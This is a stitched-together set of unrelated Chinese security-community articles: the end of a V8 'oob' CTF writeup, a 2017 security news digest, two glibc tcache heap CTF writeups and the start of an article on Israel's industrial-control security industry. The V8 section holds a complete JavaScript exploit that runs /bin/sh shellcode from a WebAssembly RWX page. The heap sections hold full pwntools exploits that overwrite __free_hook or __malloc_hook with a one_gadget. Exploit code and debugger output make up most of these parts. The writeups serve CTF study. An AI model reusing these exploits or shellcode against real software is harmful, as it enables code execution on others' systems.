pwndbg> telescope 0x2c708e5dfa81-1
00:0000│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58 <= here(看最左边这个01:0008)
02:0010│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04
03:0018│ 0x2c708e5dfa98 —▸ 0x1c0c1f4c2a39 ◂— 0x1c0c1f4c13
04:0020│ 0x2c708e5dfaa0 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
05:0028│ 0x2c708e5dfaa8 ◂— 0x0
... ↓
07:0038│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01
pwndbg> job 0x2c708e5dfa59
0x2c708e5dfa59: [WasmExportedFunctionData] in OldSpace
- map: 0x1c0c1f4c5879 <Map[40]>
- wrapper_code: 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2c708e5df8c1 <Instance map = 0x7f1e5ac9789> <= instance
- function_index: 0
//instance在WasmExportedFunctionData+0x10的位置
pwndbg> telescope 0x2c708e5dfa59-1
00:0000│ 0x2c708e5dfa58 —▸ 0x1c0c1f4c5879 ◂— 0x500001c0c1f4c01
01:0008│ 0x2c708e5dfa60 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
02:0010│ 0x2c708e5dfa68 —▸ 0x2c708e5df8c1 ◂— 0x71000007f1e5ac97 <= here(看最左边这个02:0010)
03:0018│ 0x2c708e5dfa70 ◂— 0x0
... ↓
05:0028│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
06:0030│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58
07:0038│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04
pwndbg> telescope 0x2c708e5df8c1-1+0x88
00:0000│ 0x2c708e5df948 —▸ 0x1864fd681000 ◂— movabs r10, 0x1864fd681260 /* 0x1864fd681260ba49 */
01:0008│ 0x2c708e5df950 —▸ 0x6158a14e409 ◂— 0x71000007f1e5ac91
02:0010│ 0x2c708e5df958 —▸ 0x6158a14e679 ◂— 0x71000007f1e5acad
03:0018│ 0x2c708e5df960 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
04:0020│ 0x2c708e5df968 —▸ 0x2c708e5df9e9 ◂— 0x71000007f1e5aca1
05:0028│ 0x2c708e5df970 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
... ↓
pwndbg> vmmap 0x1864fd681000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x1864fd681000 0x1864fd682000 rwxp 1000 0 +0x0
所以，根据以上，可以编写代码自动查找该地址。
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
整合的调试代码如下：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
%SystemBreak();
pwndbg> r
[...]
[*] leak wasm func addr: 0x000019659b1a1fe8
[*] leak rwx_page_addr: 0x000028c152102000
[...]
pwndbg> vmmap 0x000028c152102000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28c152102000 0x28c152103000 rwxp 1000 0 +0x0
成功！
#### getshell
编写getshell的部分
shellcode这里找的：<https://www.it610.com/article/1295723160905261056.htm>
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();//调用wasm，实际调用到了shellcode
### 完整的exp
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
注：非root用户可以开shell，/bin/sh这个文件不是只有root才能执行，进root是提权洞存在的意义。
## 参考资料
* 从一道CTF题零基础学V8漏洞利用：https://www.freebuf.com/vuls/203721.html（这篇知识+调试，全但是有点杂，建议进一步理解时候看）
* 浏览器入门之starctf-OOB：https://e3pem.github.io/2019/07/31/browser/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%A5%E9%97%A8%E4%B9%8Bstarctf-OOB/（这篇方便调试，建议先看，调一遍）
* Exploiting v8: *CTF 2019 oob-v8：<https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/>
* 2019-StarCtf-oob：<https://0xfocu5.github.io/posts/7eb4a1e6/>
## 总结
花了好久，终于弄完了，真的是，做题5分钟，环境3小时的真实写照，环境强推国外云服务器，大概需要1天时间。
v8这块做下来，还是比较好理解的，可能刚开始看有点晕，但是静下心来好好想想还是能想得通。 | 社区文章 |
# 【知识】10月12日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 中国研究人员利用机器学习识别 Tor 和 Shadowsock 流量、Google Home
Mini因硬件问题自动记录上传用户音频信息、Pornhub CSV注入漏洞、Windows hooks检测
、AWS安全最佳实践[eBook]、AWS安全最佳实践[eBook]、Radium:Python键盘记录**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
中国研究人员利用机器学习识别 Tor 和 Shadowsock 流量
微软如何避免成为下一个IBM
**资讯类：**
********
美国不惜拉以色列黑客为其站台指责卡巴斯基：贼喊捉贼越描越黑
<https://thehackernews.com/2017/10/kaspersky-nsa-russian-hackers.html>
Google Home Mini因硬件问题自动记录上传用户音频信息
<https://www.bleepingcomputer.com/news/google/google-home-mini-caught-recording-audio-due-to-hardware-issue/>
**技术类：**
********
Pornhub CSV注入漏洞
<https://blog.zsec.uk/csvhub/>
攻击Ethereum Smart Contracts
<https://www.cryptologie.net/article/423/attacks-on-ethereum-smart-contracts/>
网络安全、渗透测试学习资料整理
<https://github.com/vitalysim/Awesome-Hacking-Resources>
数以千计的存在漏洞的Magento网上商店
<https://blog.detectify.com/2017/10/10/thousands-of-vulnerable-magento-web-stores-out-there/>
Windows hooks检测
<https://shiftlock.wordpress.com/2011/06/22/windows-hooks-detector/>
Outlook Home Page – Another Ruler Vector
<https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/>
AWS安全最佳实践[eBook]
<https://www.sqreen.io/resources/aws-security-best-practices>
STEM CTF 2017 Writeup
<https://tobloef.com/ctf/mitre-ctf-2017>
Kernel Exploitation:Razer rzpnk.sys中的逻辑错误
<http://www.fuzzysecurity.com/tutorials/expDev/23.html>
Bypassing SACL Auditing on LSASS
<https://tyranidslair.blogspot.co.uk/2017/10/bypassing-sacl-auditing-on-lsass.html>
Radium:Python键盘记录
<https://n0where.net/python-keylogger-radium/>
演示视频：[https://www.youtube.com/watch?v=T0h_427L8u4&feature=youtu.be](https://www.youtube.com/watch?v=T0h_427L8u4&feature=youtu.be)
Reverse engineering malware: TrickBot (part 3 – core)
<https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-3-core>
Rick and Morty episode? Nope, another CoinMiner
<https://bartblaze.blogspot.com/2017/10/rick-and-morty-episode-nope-another.html> | 社区文章 |
## 前言：
花时间学习了一下tcache的一些东西，现在来写一写关于这个机制的两道解题过程。
## 正文：
### 2018 LCTF easy_heap：
一道关于`tcache`的利用题，也是之前打`LCTF`的第一题，现在来看一看。
试试程序发现是常规的堆题。
来看看伪代码：
漏洞主要就出在创建堆函数中，存在一个`null-byte-one`漏洞：
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
break;
++v3;
}
a1[v3] = 0;
a1[a2] = 0; // null by one
}
else
{
*a1 = 0;
}
return __readfsqword(0x28u) ^ v4;
}
一般情况下，遇到`null-byte-one`我们都会选择用`overlapping`。但是这里所分配的堆块是固定0x100大小的，不能更改，所以说我们无法构造出我们想要的堆块来利用`overlapping`，那么我们换种思路，既然这里选择的是最新版用上`tcache`机制的libc，那么我们便来利用上他的一些机制。利用`unsort
bin`来构造攻击，首先先分配满十个堆块：
for i in range(10):
create(0xf8,'A'*0xf0)
然后delete掉十个，七个进cache，三个进unseat bin当中，这里delete需要交错delete，方便实现之后的unlink：
delete(1)
delete(3)
for i in range(5,10):
delete(i)
delete(0)
delete(2)
delete(4)
然后我们再分配掉七个tcache bin，分配前两个unsort bin并且其中一个用上`null-byte-one`漏洞，此时的堆块情况就是这样的：
0x55b13d397300: 0x0000000000000000 0x0000000000000101 --> 最后一块没create的unsort bin堆块
0x55b13d397310: 0x0000000000000000 0x000055b13d397500
0x55b13d397320: 0x0000000000000000 0x0000000000000000
0x55b13d397330: 0x0000000000000000 0x0000000000000000
0x55b13d397340: 0x0000000000000000 0x0000000000000000
0x55b13d397350: 0x0000000000000000 0x0000000000000000
0x55b13d397360: 0x0000000000000000 0x0000000000000000
0x55b13d397370: 0x0000000000000000 0x0000000000000000
0x55b13d397380: 0x0000000000000000 0x0000000000000000
0x55b13d397390: 0x0000000000000000 0x0000000000000000
0x55b13d3973a0: 0x0000000000000000 0x0000000000000000
0x55b13d3973b0: 0x0000000000000000 0x0000000000000000
0x55b13d3973c0: 0x0000000000000000 0x0000000000000000
0x55b13d3973d0: 0x0000000000000000 0x0000000000000000
0x55b13d3973e0: 0x0000000000000000 0x0000000000000000
0x55b13d3973f0: 0x0000000000000000 0x0000000000000000
0x55b13d397400: 0x0000000000000100 0x0000000000000101
0x55b13d397410: 0x0000000000000000 0x0000000000000000
0x55b13d397420: 0x0000000000000000 0x0000000000000000
0x55b13d397430: 0x0000000000000000 0x0000000000000000
0x55b13d397440: 0x0000000000000000 0x0000000000000000
0x55b13d397450: 0x0000000000000000 0x0000000000000000
0x55b13d397460: 0x0000000000000000 0x0000000000000000
0x55b13d397470: 0x0000000000000000 0x0000000000000000
0x55b13d397480: 0x0000000000000000 0x0000000000000000
0x55b13d397490: 0x0000000000000000 0x0000000000000000
0x55b13d3974a0: 0x0000000000000000 0x0000000000000000
0x55b13d3974b0: 0x0000000000000000 0x0000000000000000
0x55b13d3974c0: 0x0000000000000000 0x0000000000000000
0x55b13d3974d0: 0x0000000000000000 0x0000000000000000
0x55b13d3974e0: 0x0000000000000000 0x0000000000000000
0x55b13d3974f0: 0x0000000000000000 0x0000000000000000
0x55b13d397500: 0x0000000000000000 0x0000000000000101 --> 此时堆块是在使用的
0x55b13d397510: 0x000055b13d397300 0x000055b13d397700
0x55b13d397520: 0x0000000000000000 0x0000000000000000
0x55b13d397530: 0x0000000000000000 0x0000000000000000
0x55b13d397540: 0x0000000000000000 0x0000000000000000
0x55b13d397550: 0x0000000000000000 0x0000000000000000
0x55b13d397560: 0x0000000000000000 0x0000000000000000
0x55b13d397570: 0x0000000000000000 0x0000000000000000
0x55b13d397580: 0x0000000000000000 0x0000000000000000
0x55b13d397590: 0x0000000000000000 0x0000000000000000
0x55b13d3975a0: 0x0000000000000000 0x0000000000000000
0x55b13d3975b0: 0x0000000000000000 0x0000000000000000
0x55b13d3975c0: 0x0000000000000000 0x0000000000000000
0x55b13d3975d0: 0x0000000000000000 0x0000000000000000
0x55b13d3975e0: 0x0000000000000000 0x0000000000000000
0x55b13d3975f0: 0x0000000000000000 0x0000000000000000
0x55b13d397600: 0x0000000000000100 0x0000000000000100 --> 用上了'n-b-o'
0x55b13d397610: 0x000055b13d397400 0x0000000000000000
0x55b13d397620: 0x0000000000000000 0x0000000000000000
0x55b13d397630: 0x0000000000000000 0x0000000000000000
0x55b13d397640: 0x0000000000000000 0x0000000000000000
0x55b13d397650: 0x0000000000000000 0x0000000000000000
0x55b13d397660: 0x0000000000000000 0x0000000000000000
0x55b13d397670: 0x0000000000000000 0x0000000000000000
0x55b13d397680: 0x0000000000000000 0x0000000000000000
0x55b13d397690: 0x0000000000000000 0x0000000000000000
0x55b13d3976a0: 0x0000000000000000 0x0000000000000000
0x55b13d3976b0: 0x0000000000000000 0x0000000000000000
0x55b13d3976c0: 0x0000000000000000 0x0000000000000000
0x55b13d3976d0: 0x0000000000000000 0x0000000000000000
0x55b13d3976e0: 0x0000000000000000 0x0000000000000000
0x55b13d3976f0: 0x0000000000000000 0x0000000000000000
0x55b13d397700: 0x0000000000000000 0x0000000000000101
0x55b13d397710: 0x000055b13d397500 0x00007f384a260ca0
0x55b13d397720: 0x0000000000000000 0x0000000000000000
0x55b13d397730: 0x0000000000000000 0x0000000000000000
0x55b13d397740: 0x0000000000000000 0x0000000000000000
0x55b13d397750: 0x0000000000000000 0x0000000000000000
0x55b13d397760: 0x0000000000000000 0x0000000000000000
0x55b13d397770: 0x0000000000000000 0x0000000000000000
0x55b13d397780: 0x0000000000000000 0x0000000000000000
0x55b13d397790: 0x0000000000000000 0x0000000000000000
0x55b13d3977a0: 0x0000000000000000 0x0000000000000000
这里需要注意的一个点就是，当分配第一个unsort bin中的堆块时，会将unsort
bin中的堆块放到tcache当中去，所以后面需要将tcache填满时只需填上6个即可。
然后再利用`null-byte-one`实现unlink。
delete(5)
这样我们可以泄漏出libc地址，而且有两个指针指向同一个堆块，可以free掉两次，实现tcache dup。
#泄漏libc地址：
for i in range(9) :
p.recvuntil('> ')
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))
因为程序开了`Full RELRO`，所以这里就修改`__free_hook`成`one_gadget`来getshell。
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
delete(0) #空出一个位置来为后面做准备
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook)) tcache指向了free_hook
create(0xf0,p64(one_gadget)) 修改为one_gadget
delete(1) #触发
## EXP：
from pwn import *
p = process('./easy_heap')
libc = ELF('easy_heap')
elf = ELF('./libc64.so')
context.log_level = 'debug'
def create(size,content) :
p.sendlineafter('> ','1')
p.sendlineafter('> ',str(size))
p.sendlineafter('> ',content)
def show(index) :
p.sendlineafter('> ','3')
p.sendlineafter('> ',str(index))
def delete(index) :
p.sendlineafter('> ','2')
p.sendlineafter('> ',str(index))
for i in range(10):
create(0xf8,'A'*0xf0)
delete(1)
delete(3)
for i in range(5,10):
delete(i)
delete(0)
delete(2)
delete(4)
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
create(0xf8,'\n')
for i in range(5) :
delete(i)
delete(6)
delete(5)
show(8)
for i in range(9) :
p.recvuntil('> ') #此处不太准确，根据自己环境自行修改
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
delete(0)
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook))
create(0xf0,p64(one_gadget))
delete(1)
p.interactive()
### 2018 HITCON children_tcache：
这也是一道常规题，看一下伪代码可以发现也是只有一个`null-byte-one`漏洞：
unsigned __int64 create()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = sub_B67();
if ( size > 0x2000 ) // size < 0x2000
exit(-2);
dest = malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
sub_BC8(&s, size);
strcpy(dest, &s); // off by one
qword_202060[i] = dest;
qword_2020C0[i] = size;
return __readfsqword(0x28u) ^ v5;
}
这里size在范围内是由自己选择的，所以说比上面那一题简单一些，跟上面那一题的思路一样，利用unlink来解决问题，首先构造一个大于0x408的堆块来避免tcache机制，再构造一个在tcache机制中的chunk，再构造一个大于0x408的chunk来避免tcache，以此unlink的时候可以不被tcache影响，此时：
create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20) -->避免合并top chunk
这时候的堆块情况为：
----------------- | 0x511 |
| |
----------------- | 0x71 |
| |
----------------- | 0x601 |
| |
-----------------
利用`null-byte-one`将0x601变为0x600以此来unlink：
for i in range(9):
create(0x68 - i, 'b' * (0x68 - i))
delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
unlink后得到了一个0xb81的chunk，包括了以上三个chunk，但是其中chunk2还是有指针的，所以就能够堆块重用，使得两个指针指向chunk2，先malloc一个0x508的chunk，此时就可以leak出libc地址：
create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)
此时原本的chunk2变成了：
pwndbg> x/20xg 0x55747df85760
0x55747df85760: 0x0061616161616161 0x0000000000000671
0x55747df85770: 0x00007fdb58b5fca0 0x00007fdb58b5fca0
0x55747df85780: 0x0000000000000000 0x0000000000000000
所以在此malloc一个0x68大小的chunk2，就可以实现cache
dup，之后就常规操作了，改变malloc地址为one_gadget的地址，实现getshell：
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
## EXP：
from pwn import *
p = process('./program')
elf = ELF('program')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'
def create(size,content):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Data:',content)
def show(index) :
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(index))
def delete(index) :
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index:',str(index))
create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20)
delete(1)
delete(0)
for i in range(9):
create(0x68 - i, 'b' * (0x68 - i))
delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
#gdb.attach(p)
create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)
#gdb.attach(p)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
print 'libc_base :' + hex(libc_base)
create(0x68,'b'*0x67)
delete(0)
delete(2)
malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_addr = libc_base + 0x4f322
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
print hex(malloc_addr)
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:','10')
p.interactive() | 社区文章 |
来源：[ICS Security Workspace](http://plcscan.org/blog/2017/01/development-path-of-ics-cybersecurity-in-israel/)
作者： **[灯塔实验室](http://plcscan.org/blog/about/labs/)**
## 概述
以色列总理内塔尼亚胡在2015年的网络技术展会上发表致辞时称，将把以色列建设成全球网络安全中心。如今，在这个占地面积仅有25000多平方公里，人口不足900万人的国家，以色列已经在网络安全技术领域实现大跨越，成为名副其实的网络安全强国。在工控安全领域，以色列与美国一样，拥有众多世界领先的工控安全厂商，从产品和解决方案上不断实现工控安全的技术突破。本文将简述以色列网络安全产业的发展现状，以及以色列工控安全产业发展的背景和其背后的原因，并通过以色列主要工控安全厂商的分析为我国工控安全产业发展提供启示和借鉴。
## 1\. 以色列的网络安全产业现状
以色列目前是仅次于美国的世界第二大网络产品和服务出口国，
2015年，以色列网络安全产品和服务出口35亿至40亿美元，吸收外资总额达全球网络安全行业总投资额的20%。同时，据科技媒体Techcrunch披露，以色列拥有超过300家网络安全公司，而仅2015年，就有81家新的网络安全初创企业诞生。
不仅如此，以色列的网络安全产业结构性十分完备。风投机构Bessemer Venture
Partners的研究显示，以色列的网络安全企业并非集中于某几类产品，而是遍布基础设施保护、云计算、终端保护、威胁情报、应用(APP)保护、工控系统、物联网、智能汽车等各个领域。在Cybersecurity
Ventures公司最新发布的2016年第三季度的世界网络安全创新500强的榜单中，以色列就有26家企业上榜。由此可见，以色列的网络安全厂商为各个从业领域、不同规模的企业都提供了完整的网络安全解决方案。
以色列虽属小国，但能够迅速崛起成为全球网络安全强国离不开以色列政府的政策支持和对产业的大力推动，从创设隶属于总理办公室的国家网络安全局（National
Cyber
Bureau），规定政府各部门必须将8%的预算用于网络防御，到引导建立位于贝尔谢巴的网络星火产业园，构建“网络安全生态系统”。以色列成功的将本·古里安大学的人才教育体系、来自国际国内的产业力量、风险投资结合并辅以大力的税收等政策支持，使得网络安全生态系统成为支撑以色列网络安全产业发展的重要机制。
## 2\. 以色列的工控安全产业发展背景
在工业控制系统信息安全领域，以色列近年来同样发展迅猛。由于其特殊的地缘政治因素，以色列一直以来将确保本国人能够应对各种水平的威胁视为政府的核心战略。作为一个身居中东地区，有强敌环伺的国家，以色列在现实世界中面临的挑战环境，也反映在网络世界中。正因如此，以色列工控安全领域的爆发可以说也得益于其面对关键基础设施不断被攻击所积累下的大量经验。
据以色列媒体报道，以色列主要的敌对国家伊朗在网络空间打击以色列方面不遗余力，仅2013年和2014年，以色列就指责伊朗对其关键基础设施，如水电、银行等发动了网络攻击。除此之外，以色列媒体还表示，土耳其、巴勒斯坦、北非的一些国家都曾对以色列发动过网络攻击。
2012年1月，沙特与以色列发生黑客大战，其中大量以色列SCADA工控系统的地址被黑客通过Twitter连接到的一个文档暴露并被迅速转发，黑客收集的SCADA入口将会遭遇多国黑客的挑战。
2013年10月，以色列北部城市Haifa的全国路网遭到了网络攻击，在城市的主干路上造成了大规模的交通拥堵。攻击者使用了恶意软件攻破了在卡梅尔隧道收费公路的完全摄像装置，并获得了控制权。攻击者在20分钟内迅速的锁定了主干路，并在次日早在此关闭了整段路长达8小时，造成了大规模的拥堵。
2016年，以色列国家基础设施，能源和水资源部部长Yuval
Steinitz在2016届特拉维夫Cybertech大会上表示，以色列国家电力局正在遭受着严重的网络攻击，还指出这是基础设施遭受网络攻击的一个活生生的例子。
正是这样常年不间断的网络攻击促使以色列政府大力发展安全防御技术，而这其中军方的技术力量是以色列独特网络安全生态体系的重要组成部分。在工控安全领域，虽然各家公司的技术和方向有所不同，但是绝大多数工控安全厂商都存在一个共同点—它们多是由以色列军事信号情报组织8200部队（Unit
8200）的退伍人员组成。2010年，正是这支世界上最令人生畏的网络间谍部队被怀疑用蠕虫病毒Stuxnet成功让伊朗的浓缩铀设施瘫痪。不仅如此，以色列著名科技公司同时也是工控安全厂商之一的Check
Point的创始人兼CEO吉尔·舍伍德就曾在8200部队中服役。近年来在工控安全领域成绩显著的Cyber X公司的两位创始人Nir Giller和Omer
Schneider也是以色列国家防部（IDF）经营网络安全部门的退伍军人。毫不夸张地说，8200部队既是以色列工控安全厂商商业品牌和技术建立的基础，同时也是这些初创公司的青年人才孵化器。
## 3\. 以色列主要工控安全厂商分析
